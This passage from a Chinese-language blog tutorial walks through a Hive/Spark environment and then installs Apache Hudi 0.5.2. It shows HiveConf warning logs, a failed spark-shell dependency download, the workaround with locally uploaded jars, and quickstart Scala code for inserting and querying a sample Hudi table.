hive.druid.maxTries does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.spark.dynamic.partition.pruning.max.data.size does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.druid.metadata.base does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.metastore.hbase.aggr.stats.invalidator.frequency does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.llap.io.use.lrfu does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.llap.io.allocator.mmap does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.druid.coordinator.address.default does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.server2.thrift.resultset.max.fetch.size does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.conf.hidden.list does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.io.sarg.cache.max.weight.mb does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.server2.clear.dangling.scratchdir.interval does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.druid.sleep.time does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.vectorized.use.row.serde.deserialize does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.server2.compile.lock.timeout does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.timedout.txn.reaper.interval does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.metastore.hbase.aggregate.stats.max.variance does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.llap.io.lrfu.lambda does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.druid.metadata.db.type does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.llap.daemon.output.stream.timeout does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.transactional.events.mem does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.server2.thrift.resultset.default.fetch.size does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.repl.cm.retain does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.merge.cardinality.check does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.server2.authentication.ldap.groupClassKey does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.optimize.point.lookup does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.llap.allow.permanent.fns does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.llap.daemon.web.ssl does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.txn.manager.dump.lock.state.on.acquire.timeout does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.compactor.history.retention.succeeded does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.llap.io.use.fileid.path does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.llap.io.encode.slice.row.count does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.mapjoin.optimized.hashtable.probe.percent does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.druid.select.distribute does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.llap.am.use.fqdn does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.llap.task.scheduler.node.reenable.min.timeout.ms does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.llap.validate.acls does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.support.special.characters.tablename does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.mv.files.thread does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.llap.skip.compile.udf.check does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.llap.io.encode.vector.serde.enabled does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.repl.cm.interval does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.server2.sleep.interval.between.start.attempts does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.llap.daemon.yarn.container.mb does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.druid.http.read.timeout does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.blobstore.optimizations.enabled does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.llap.orc.gap.cache does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.optimize.dynamic.partition.hashjoin does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.exec.copyfile.maxnumfiles does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.llap.io.encode.formats does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.druid.http.numConnection does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.llap.daemon.task.scheduler.enable.preemption does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.llap.daemon.num.executors does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.metastore.hbase.cache.max.full does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.metastore.hbase.connection.class does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.server2.tez.sessions.custom.queue.allowed does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.llap.io.encode.slice.lrr does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.server2.thrift.client.password does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.metastore.hbase.cache.max.writer.wait does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.server2.thrift.http.request.header.size does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.server2.webui.max.threads does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.optimize.limittranspose.reductiontuples does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.test.rollbacktxn does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.llap.task.scheduler.num.schedulable.tasks.per.node does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.llap.daemon.acl does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.llap.io.memory.size does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.strict.checks.type.safety does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.server2.async.exec.async.compile does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.llap.auto.max.input.size does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.tez.enable.memory.manager does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.msck.repair.batch.size does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.blobstore.supported.schemes does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.orc.splits.allow.synthetic.fileid does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.stats.filter.in.factor does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.spark.use.op.stats does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.exec.input.listing.max.threads does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.server2.tez.session.lifetime.jitter does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.llap.daemon.web.port does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.strict.checks.cartesian.product does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.llap.daemon.rpc.num.handlers does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.llap.daemon.vcpus.per.instance does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.count.open.txns.interval does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.tez.min.bloom.filter.entries does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.optimize.partition.columns.separate does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.orc.cache.stripe.details.mem.size does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.txn.heartbeat.threadpool.size does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.llap.task.scheduler.locality.delay does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.repl.cmrootdir does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.llap.task.scheduler.node.disable.backoff.factor does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.llap.am.liveness.connection.sleep.between.retries.ms does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.spark.exec.inplace.progress does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.druid.working.directory does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.llap.daemon.memory.per.instance.mb does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.msck.path.validation does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.tez.task.scale.memory.reserve.fraction does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.merge.nway.joins does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.compactor.history.reaper.interval does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.txn.strict.locking.mode does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.llap.io.encode.vector.serde.async.enabled does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.tez.input.generate.consistent.splits does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.server2.in.place.progress does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.druid.indexer.memory.rownum.max does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.server2.xsrf.filter.enabled does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.llap.io.allocator.alloc.max does not exist +------------+ |databaseName| +------------+ | default| | hadoop| +------------+ scala> hiveContext.sql("show tables").show() +--------+--------------------+-----------+ |database| tableName|isTemporary| +--------+--------------------+-----------+ | default| aa| false| | default| bb| false| | default| dd| false| | default| kylin_account| false| | default| kylin_cal_dt| false| | default|kylin_category_gr...| false| | default| kylin_country| false| | default|kylin_intermediat...| false| | default|kylin_intermediat...| false| | default| kylin_sales| false| | default| test| false| | default| test_null| false| +--------+--------------------+-----------+可以看到已经查询到结果了,但是为啥上面报了一堆WARN 。比如:WARN conf.HiveConf: HiveConf of name hive.llap.skip.compile.udf.check does not exis hive-site配置文件删除掉:<property> <name>hive.llap.skip.compile.udf.check</name> <value>false</value> <description> Whether to skip the compile-time check for non-built-in UDFs when deciding whether to execute tasks in LLAP. Skipping the check allows executing UDFs from pre-localized jars in LLAP; if the jars are not pre-localized, the UDFs will simply fail to load. </description> </property>再次登录执行警告就消失了。八、配置Hudi8.1、检阅官方文档重点地方先来看下官方文档getstart首页:我之前装的hadoop环境是2.7版本的,前面之所以装spark2.4.4就是因为目前官方案例就是用的hadoop2.7+spark2.4.4,而且虽然现在hudi、spark是支持scala2.11.x/2.12.x,但是官网这里也是用的2.11,我这里为了保持和hudi官方以及spark2.4.4(Using Scala version 2.11.12 (Java HotSpot(TM) 64-Bit Server VM, Java 1.8.0_151))一致,也就装的2.11.12版本的scala。因为目前为止,Hudi已经出了0.5.2版本,但是Hudi官方仍然用的0.5.1的做示例,接下来,先切换到hudi0.5.1的发布文档:点击查看上面发布文档讲的意思是:版本升级 将Spark版本从2.1.0升级到2.4.4 将Avro版本从1.7.7升级到1.8.2将Parquet版本从1.8.1升级到1.10.1将Kafka版本从0.8.2.1升级到2.0.0,这是由于将spark-streaming-kafkaartifact从0.8_2.11升级到0.10_2.11/2.12间接升级 重要:Hudi0.5.1版本需要将spark的版本升级到2.4+Hudi现在支持Scala 2.11和2.12,可以参考Scala 2.12构建来使用Scala 2.12来构建Hudi,另外,hudi-spark, hudi-utilities, hudi-spark-bundle andhudi-utilities-bundle包名现已经对应变更为 hudi-spark_{scala_version},hudi-spark_{scala_version}, hudi-utilities_{scala_version},hudi-spark-bundle_{scala_version}和hudi-utilities-bundle_{scala_version}. 注意这里的scala_version为2.11或2.12。在0.5.1版本中,对于timeline元数据的操作不再使用重命名方式,这个特性在创建Hudi表时默认是打开的。对于已存在的表,这个特性默认是关闭的,在已存在表开启这个特性之前,请参考这部分(https://hudi.apache.org/docs/deployment.html#upgrading)。若开启新的Huditimeline布局方式(layout),即避免重命名,可设置写配置项hoodie.timeline.layout.version=1。当然,你也可以在CLI中使用repairoverwrite-hoodie-props命令来添加hoodie.timeline.layout.version=1至hoodie.properties文件。注意,无论使用哪种方式,在升级Writer之前请先升级HudiReader(查询引擎)版本至0.5.1版本。 CLI支持repairoverwrite-hoodie-props来指定文件来重写表的hoodie.properties文件,可以使用此命令来的更新表名或者使用新的timeline布局方式。注意当写hoodie.properties文件时(毫秒),一些查询将会暂时失败,失败后重新运行即可。DeltaStreamer用来指定表类型的参数从--storage-type变更为了--table-type,可以参考wiki来了解更多的最新变化的术语。配置Kafka ResetOffset策略的值变化了。枚举值从LARGEST变更为LATEST,SMALLEST变更为EARLIEST,对应DeltaStreamer中的配置项为auto.offset.reset。当使用spark-shell来了解Hudi时,需要提供额外的--packagesorg.apache.spark:spark-avro_2.11:2.4.4,可以参考quickstart了解更多细节。 Keygenerator(键生成器)移动到了单独的包下org.apache.hudi.keygen,如果你使用重载键生成器类(对应配置项:hoodie.datasource.write.keygenerator.class),请确保类的全路径名也对应进行变更。Hive同步工具将会为MOR注册带有_ro后缀的RO表,所以查询也请带_ro后缀,你可以使用--skip-ro-suffix配置项来保持旧的表名,即同步时不添加_ro后缀。0.5.1版本中,供presto/hive查询引擎使用的hudi-hadoop-mr-bundle包shaded了avro包,以便支持realtimequeries(实时查询)。Hudi支持可插拔的记录合并逻辑,用户只需自定义实现HoodieRecordPayload。如果你使用这个特性,你需要在你的代码中relocateavro依赖,这样可以确保你代码的行为和Hudi保持一致,你可以使用如下方式来relocation。 org.apache.avro.org.apache.hudi.org.apache.avro. DeltaStreamer更好的支持Delete,可参考blog了解更多细节。DeltaStreamer支持AWS Database Migration Service(DMS) ,可参考blog了解更多细节。支持DynamicBloomFilter(动态布隆过滤器),默认是关闭的,可以使用索引配置项hoodie.bloom.index.filter.type=DYNAMIC_V0来开启。HDFSParquetImporter支持bulkinsert,可配置--command为bulkinsert。 支持AWS WASB和WASBS云存储。8.2、错误的安装尝试好了,看完了发布文档,而且已经定下了我们的使用版本关系,那么直接切换到Hudi0.5.2最新版本的官方文档:点此跳转因为之前没用过spark和hudi,在看到hudi官网的第一眼时候,首先想到的是先下载一个hudi0.5.1对应的应用程序,然后再进行部署,部署好了之后再执行上面官网给的命令代码,比如下面我之前做的错误示范:由于官方目前案例都是用的0.5.1,所以我也下载这个版本: https://downloads.apache.org/incubator/hudi/0.5.1-incubating/hudi-0.5.1-incubating.src.tgz 将下载好的安装包,上传到/hadoop/spark目录下并解压: [root@hadoop spark]# ls bin conf data examples hudi-0.5.1-incubating.src.tgz jars kubernetes LICENSE licenses logs NOTICE python R README.md RELEASE sbin spark-2.4.4-bin-hadoop2.7 work yarn [root@hadoop spark]# tar -zxvf hudi-0.5.1-incubating.src.tgz [root@hadoop spark]# ls bin conf data examples hudi-0.5.1-incubating hudi-0.5.1-incubating.src.tgz jars kubernetes LICENSE licenses logs NOTICE python R README.md RELEASE sbin spark-2.4.4-bin-hadoop2.7 work yarn [root@hadoop spark]# rm -rf *tgz [root@hadoop ~]# /hadoop/spark/bin/spark-shell \ > --packages org.apache.hudi:hudi-spark-bundle_2.11:0.5.1-incubating,org.apache.spark:spark-avro_2.11:2.4.4 \ > --conf 'spark.serializer=org.apache.spark.serializer.KryoSerializer' Ivy Default Cache set to: /root/.ivy2/cache The jars for the packages stored in: /root/.ivy2/jars :: loading settings :: url = jar:file:/hadoop/spark/jars/ivy-2.4.0.jar!/org/apache/ivy/core/settings/ivysettings.xml org.apache.hudi#hudi-spark-bundle_2.11 added as a dependency org.apache.spark#spark-avro_2.11 added as a dependency :: resolving dependencies :: org.apache.spark#spark-submit-parent-5717aa3e-7bfb-42c4-aadd-2a884f3521d5;1.0 confs: [default] You probably access the destination server through a proxy server that is not well configured. You probably access the destination server through a proxy server that is not well configured. You probably access the destination server through a proxy server that is not well configured. You probably access the destination server through a proxy server that is not well configured. You probably access the destination server through a proxy server that is not well configured. You probably access the destination server through a proxy server that is not well configured. You probably access the destination server through a proxy server that is not well configured. You probably access the destination server through a proxy server that is not well configured. :: resolution report :: resolve 454ms :: artifacts dl 1ms :: modules in use: --------------------------------------------------------------------- | | modules || artifacts | | conf | number| search|dwnlded|evicted|| number|dwnlded| --------------------------------------------------------------------- | default | 2 | 0 | 0 | 0 || 0 | 0 | --------------------------------------------------------------------- :: problems summary :: :::: WARNINGS Host repo1.maven.org not found. url=https://repo1.maven.org/maven2/org/apache/hudi/hudi-spark-bundle_2.11/0.5.1-incubating/hudi-spark-bundle_2.11-0.5.1-incubating.pom Host repo1.maven.org not found. url=https://repo1.maven.org/maven2/org/apache/hudi/hudi-spark-bundle_2.11/0.5.1-incubating/hudi-spark-bundle_2.11-0.5.1-incubating.jar 。。。。。。。。。。 :::::::::::::::::::::::::::::::::::::::::::::: :: UNRESOLVED DEPENDENCIES :: :::::::::::::::::::::::::::::::::::::::::::::: :: org.apache.hudi#hudi-spark-bundle_2.11;0.5.1-incubating: not found :: org.apache.spark#spark-avro_2.11;2.4.4: not found :::::::::::::::::::::::::::::::::::::::::::::: :: USE VERBOSE OR DEBUG MESSAGE LEVEL FOR MORE DETAILS Exception in thread "main" java.lang.RuntimeException: [unresolved dependency: org.apache.hudi#hudi-spark-bundle_2.11;0.5.1-incubating: not found, unresolved dependency: org.apache.spark#spark-avro_2.11;2.4.4: not found] at org.apache.spark.deploy.SparkSubmitUtils$.resolveMavenCoordinates(SparkSubmit.scala:1302) at org.apache.spark.deploy.DependencyUtils$.resolveMavenDependencies(DependencyUtils.scala:54) at org.apache.spark.deploy.SparkSubmit.prepareSubmitEnvironment(SparkSubmit.scala:304) at org.apache.spark.deploy.SparkSubmit.org$apache$spark$deploy$SparkSubmit$$runMain(SparkSubmit.scala:774) at org.apache.spark.deploy.SparkSubmit.doRunMain$1(SparkSubmit.scala:161) at org.apache.spark.deploy.SparkSubmit.submit(SparkSubmit.scala:184) at org.apache.spark.deploy.SparkSubmit.doSubmit(SparkSubmit.scala:86) at org.apache.spark.deploy.SparkSubmit$$anon$2.doSubmit(SparkSubmit.scala:920) at org.apache.spark.deploy.SparkSubmit$.main(SparkSubmit.scala:929) at org.apache.spark.deploy.SparkSubmit.main(SparkSubmit.scala)8.3、正确的“安装部署”其实下载的这个应该算是个源码包,不是可直接运行的。而且spark-shell --packages是指定java包的maven地址,若不给定,则会使用该机器安装的maven默认源中下载此jar包,也就是说指定的这两个jar是需要自动下载的,我的虚拟环境一没设置外部网络,二没配置maven,这肯定会报错找不到jar包。官方这里的代码:--packages org.apache.hudi:hudi-spark-bundle_2.11:0.5.1-incubating,org.apache.spark:spark-avro_2.11:2.4.4说白了其实就是指定maven项目pom文件的依赖,翻了一下官方文档,找到了Hudi给的中央仓库地址,然后从中找到了官方案例代码中指定的两个包:直接拿出来,就是下面这两个:<dependency> <groupId>org.apache.spark</groupId> <artifactId>spark-avro_2.11</artifactId> <version>2.4.4</version> </dependency> <dependency> <groupId>org.apache.hudi</groupId> <artifactId>hudi-spark-bundle_2.11</artifactId> <version>0.5.2-incubating</version> </dependency>好吧,那我就在这直接下载了这俩包,然后再继续看官方文档:这里说了我也可以通过自己构建hudi来快速开始, 并在spark-shell命令中使用--jars /packaging/hudi-spark-bundle/target/hudi-spark-bundle-..*-SNAPSHOT.jar, 而不是--packages org.apache.hudi:hudi-spark-bundle:0.5.2-incubating,看到这个提示,我在linux看了下 spark-shell的帮助:[root@hadoop external_jars]# /hadoop/spark/bin/spark-shell --help Usage: ./bin/spark-shell [options] Scala REPL options: -I <file> preload <file>, enforcing line-by-line interpretation Options: --master MASTER_URL spark://host:port, mesos://host:port, yarn, k8s://https://host:port, or local (Default: local[*]). --deploy-mode DEPLOY_MODE Whether to launch the driver program locally ("client") or on one of the worker machines inside the cluster ("cluster") (Default: client). --class CLASS_NAME Your application's main class (for Java / Scala apps). --name NAME A name of your application. --jars JARS Comma-separated list of jars to include on the driver and executor classpaths. --packages Comma-separated list of maven coordinates of jars to include on the driver and executor classpaths. Will search the local maven repo, then maven central and any additional remote repositories given by --repositories. The format for the coordinates should be groupId:artifactId:version. --exclude-packages Comma-separated list of groupId:artifactId, to exclude while resolving the dependencies provided in --packages to avoid dependency conflicts. --repositories Comma-separated list of additional remote repositories to search for the maven coordinates given with --packages. --py-files PY_FILES Comma-separated list of .zip, .egg, or .py files to place on the PYTHONPATH for Python apps. --files FILES Comma-separated list of files to be placed in the working directory of each executor. File paths of these files in executors can be accessed via SparkFiles.get(fileName). --conf PROP=VALUE Arbitrary Spark configuration property. --properties-file FILE Path to a file from which to load extra properties. If not specified, this will look for conf/spark-defaults.conf. --driver-memory MEM Memory for driver (e.g. 1000M, 2G) (Default: 1024M). --driver-java-options Extra Java options to pass to the driver. --driver-library-path Extra library path entries to pass to the driver. --driver-class-path Extra class path entries to pass to the driver. Note that jars added with --jars are automatically included in the classpath. --executor-memory MEM Memory per executor (e.g. 1000M, 2G) (Default: 1G). --proxy-user NAME User to impersonate when submitting the application. This argument does not work with --principal / --keytab. --help, -h Show this help message and exit. --verbose, -v Print additional debug output. --version, Print the version of current Spark. Cluster deploy mode only: --driver-cores NUM Number of cores used by the driver, only in cluster mode (Default: 1). Spark standalone or Mesos with cluster deploy mode only: --supervise If given, restarts the driver on failure. --kill SUBMISSION_ID If given, kills the driver specified. --status SUBMISSION_ID If given, requests the status of the driver specified. Spark standalone and Mesos only: --total-executor-cores NUM Total cores for all executors. Spark standalone and YARN only: --executor-cores NUM Number of cores per executor. (Default: 1 in YARN mode, or all available cores on the worker in standalone mode) YARN-only: --queue QUEUE_NAME The YARN queue to submit to (Default: "default"). --num-executors NUM Number of executors to launch (Default: 2). If dynamic allocation is enabled, the initial number of executors will be at least NUM. --archives ARCHIVES Comma separated list of archives to be extracted into the working directory of each executor. --principal PRINCIPAL Principal to be used to login to KDC, while running on secure HDFS. --keytab KEYTAB The full path to the file that contains the keytab for the principal specified above. This keytab will be copied to the node running the Application Master via the Secure Distributed Cache, for renewing the login tickets and the delegation tokens periodically.原来--jasrs是指定机器上存在的jar文件,接下来将前面下载的两个包上传到服务器:[root@hadoop spark]# mkdir external_jars [root@hadoop spark]# cd external_jars/ [root@hadoop external_jars]# pwd /hadoop/spark/external_jars 通过xftp上传jar到此目录 [root@hadoop external_jars]# ls hudi-spark-bundle_2.11-0.5.2-incubating.jar scala-library-2.11.12.jar spark-avro_2.11-2.4.4.jar spark-tags_2.11-2.4.4.jar unused-1.0.0.jar然后将官方案例代码:spark-2.4.4-bin-hadoop2.7/bin/spark-shell \ --packages org.apache.hudi:hudi-spark-bundle_2.11:0.5.2-incubating,org.apache.spark:spark-avro_2.11:2.4.4 \ --conf 'spark.serializer=org.apache.spark.serializer.KryoSerializer'修改为:[root@hadoop external_jars]# /hadoop/spark/bin/spark-shell --jars /hadoop/spark/external_jars/spark-avro_2.11-2.4.4.jar,/hadoop/spark/external_jars/hudi-spark-bundle_2.11-0.5.2-incubating.jar --conf 'spark.seri alizer=org.apache.spark.serializer.KryoSerializer '20/03/31 15:19:09 WARN util.NativeCodeLoader: Unable to load native-hadoop library for your platform... using builtin-java classes where applicable Setting default log level to "WARN". To adjust logging level use sc.setLogLevel(newLevel). For SparkR, use setLogLevel(newLevel). Spark context Web UI available at http://hadoop:4040 Spark context available as 'sc' (master = local[*], app id = local-1585639157881). Spark session available as 'spark'. Welcome to ____ __ / __/__ ___ _____/ /__ _\ \/ _ \/ _ `/ __/ '_/ /___/ .__/\_,_/_/ /_/\_\ version 2.4.4 /_/ Using Scala version 2.11.12 (Java HotSpot(TM) 64-Bit Server VM, Java 1.8.0_151) Type in expressions to have them evaluated. Type :help for more information. scala> OK!!!没有报错了,接下来开始尝试进行增删改查操作。8.4、Hudi增删改查基于上面步骤8.4.1、设置表名、基本路径和数据生成器来生成记录scala> import org.apache.hudi.QuickstartUtils._ import org.apache.hudi.QuickstartUtils._ scala> import scala.collection.JavaConversions._ import scala.collection.JavaConversions._ scala> import org.apache.spark.sql.SaveMode._ import org.apache.spark.sql.SaveMode._ scala> import org.apache.hudi.DataSourceReadOptions._ import org.apache.hudi.DataSourceReadOptions._ scala> import org.apache.hudi.DataSourceWriteOptions._ import org.apache.hudi.DataSourceWriteOptions._ scala> import org.apache.hudi.config.HoodieWriteConfig._ import org.apache.hudi.config.HoodieWriteConfig._ scala> val tableName = "hudi_cow_table" tableName: String = hudi_cow_table scala> val basePath = "file:///tmp/hudi_cow_table" basePath: String = file:///tmp/hudi_cow_table scala> val dataGen = new DataGenerator dataGen: org.apache.hudi.QuickstartUtils.DataGenerator = org.apache.hudi.QuickstartUtils$DataGenerator@4bf6bc2d数据生成器 可以基于行程样本模式 生成插入和更新的样本。8.4.2、插入数据生成一些新的行程样本,将其加载到DataFrame中,然后将DataFrame写入Hudi数据集中,如下所示。scala> val inserts = convertToStringList(dataGen.generateInserts(10)) inserts: java.util.List[String] = [{"ts": 0.0, "uuid": "81a9b76c-655b-4527-85fc-7696bdeab4fd", "rider": "rider-213", "driver": "driver-213", "begin_lat": 0.4726905879569653, "begin_lon": 0.46157858450465483, "e nd_lat": 0.754803407008858, "end_lon": 0.9671159942018241, "fare": 34.158284716382845, "partitionpath": "americas/brazil/sao_paulo"}, {"ts": 0.0, "uuid": "0d612dd2-5f10-4296-a434-b34e6558e8f1", "rider": "rider-213", "driver": "driver-213", "begin_lat": 0.6100070562136587, "begin_lon": 0.8779402295427752, "end_lat": 0.3407870505929602, "end_lon": 0.5030798142293655, "fare": 43.4923811219014, "partitionpath": "americas/brazil/sao_paulo"}, {"ts": 0.0, "uuid": "0e170de4-7eda-4ab5-8c06-e351e8b23e3d", "rider": "rider-213", "driver": "driver-213", "begin_lat": 0.5731835407930634, "begin_...scala> val df = spark.read.json(spark.sparkContext.parallelize(inserts, 2)) warning: there was one deprecation warning; re-run with -deprecation for details df: org.apache.spark.sql.DataFrame = [begin_lat: double, begin_lon: double ... 8 more fields] scala> df.write.format("org.apache.hudi"). | options(getQuickstartWriteConfigs). | option(PRECOMBINE_FIELD_OPT_KEY, "ts"). | option(RECORDKEY_FIELD_OPT_KEY, "uuid"). | option(PARTITIONPATH_FIELD_OPT_KEY, "partitionpath"). | option(TABLE_NAME, tableName). | mode(Overwrite). | save(basePath); 20/03/31 15:28:11 WARN hudi.DefaultSource: Snapshot view not supported yet via data source, for MERGE_ON_READ tables. Please query the Hive table registered using Spark SQL.mode(Overwrite)覆盖并重新创建数据集(如果已经存在)。 您可以检查在/tmp/hudi_cow_table/\<region>/\<country>/\<city>/下生成的数据。我们提供了一个记录键 (schema中的uuid),分区字段(region/county/city)和组合逻辑(schema中的ts) 以确保行程记录在每个分区中都是唯一的。更多信息请参阅 对Hudi中的数据进行建模, 有关将数据提取到Hudi中的方法的信息,请参阅写入Hudi数据集。 这里我们使用默认的写操作:插入更新。 如果您的工作负载没有更新,也可以使用更快的插入或批量插入操作。 想了解更多信息,请参阅写操作。8.4.3、查询数据将数据文件加载到DataFrame中。scala> df.write.format("org.apache.hudi"). | options(getQuickstartWriteConfigs). | option(PRECOMBINE_FIELD_OPT_KEY, "ts"). | option(RECORDKEY_FIELD_OPT_KEY, "uuid"). | option(PARTITIONPATH_FIELD_OPT_KEY, "partitionpath"). | option(TABLE_NAME, tableName). | mode(Overwrite). | save(basePath); 20/03/31 15:28:11 WARN hudi.DefaultSource: Snapshot view not supported yet via data source, for MERGE_ON_READ tables. Please query the Hive table registered using Spark SQL. scala> val roViewDF = spark. | read. | format("org.apache.hudi"). | load(basePath + "/*/*/*/*") 20/03/31 15:30:03 WARN hudi.DefaultSource: Snapshot view not supported yet via data source, for MERGE_ON_READ tables. Please query the Hive table registered using Spark SQL. roViewDF: org.apache.spark.sql.DataFrame = [_hoodie_commit_time: string, _hoodie_commit_seqno: string ... 13 more fields] scala> roViewDF.registerTempTable("hudi_ro_table") warning: there was one deprecation warning; re-run with -deprecation for details scala> spark.sql("select fare, begin_lon, begin_lat, ts from hudi_ro_table where fare > 20.0").show() +------------------+-------------------+-------------------+---+ | fare| begin_lon| begin_lat| ts| +------------------+-------------------+-------------------+---+ | 93.56018115236618|0.14285051259466197|0.21624150367601136|0.0| | 64.27696295884016| 0.4923479652912024| 0.5731835407930634|0.0| | 27.79478688582596| 0.6273212202489661|0.11488393157088261|0.0| | 33.92216483948643| 0.9694586417848392| 0.1856488085068272|0.0| |34.158284716382845|0.46157858450465483| 0.4726905879569653|0.0| | 66.62084366450246|0.03844104444445928| 0.0750588760043035|0.0| | 43.4923811219014| 0.8779402295427752| 